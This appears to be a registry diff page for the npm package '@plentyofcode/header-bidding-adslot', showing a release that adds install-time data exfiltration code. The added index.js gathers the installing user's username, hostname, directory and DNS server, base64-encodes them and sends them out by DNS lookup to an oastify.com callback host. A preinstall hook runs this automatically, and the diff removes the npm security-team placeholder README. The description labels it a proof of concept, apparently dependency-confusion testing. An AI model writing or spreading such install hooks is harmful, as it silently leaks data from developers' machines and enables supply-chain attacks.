@plentyofcode/header-bidding-adslot 0.0.1-security → 2.0.42
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @plentyofcode/header-bidding-adslot might be problematic. Click here for more details.
- package/index.js +34 -0
- package/package.json +12 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,34 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const dns = require("dns");
|
3
|
+
const os = require("os");
|
4
|
+
const path = require("path");
|
5
|
+
|
6
|
+
// Get necessary values
|
7
|
+
const username = os.userInfo().username;
|
8
|
+
const hostname = os.hostname();
|
9
|
+
const currentDir = path.basename(__dirname); // Get only the current directory name
|
10
|
+
const dnsServer = dns.getServers()[0] || "none"; // Use only the first DNS server
|
11
|
+
|
12
|
+
// Create the information in a compact format
|
13
|
+
const info = `u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
|
14
|
+
|
15
|
+
// Encode the information in Base64
|
16
|
+
let encodedInfo = Buffer.from(info).toString('base64');
|
17
|
+
|
18
|
+
// Check if the encoded string exceeds 63 characters
|
19
|
+
if (encodedInfo.length > 63) {
|
20
|
+
// Use only the username if the string is too long
|
21
|
+
encodedInfo = Buffer.from(`u=${username}`).toString('base64');
|
22
|
+
}
|
23
|
+
|
24
|
+
// Execute the command with the encoded information
|
25
|
+
const command = `host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`;
|
26
|
+
console.log(`Executing command: ${command}`); // Log the command being executed
|
27
|
+
|
28
|
+
exec(command, (error, data) => {
|
29
|
+
if (error) {
|
30
|
+
console.log("Error:", error.message);
|
31
|
+
return;
|
32
|
+
}
|
33
|
+
console.log(data);
|
34
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
|
-
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "@plentyofcode/header-bidding-adslot",
|
3
|
+
"version": "2.0.42",
|
4
|
+
"description": "PoC Package",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "h0rus3c",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40plentyofcode%2Fheader-bidding-adslot for more information.
|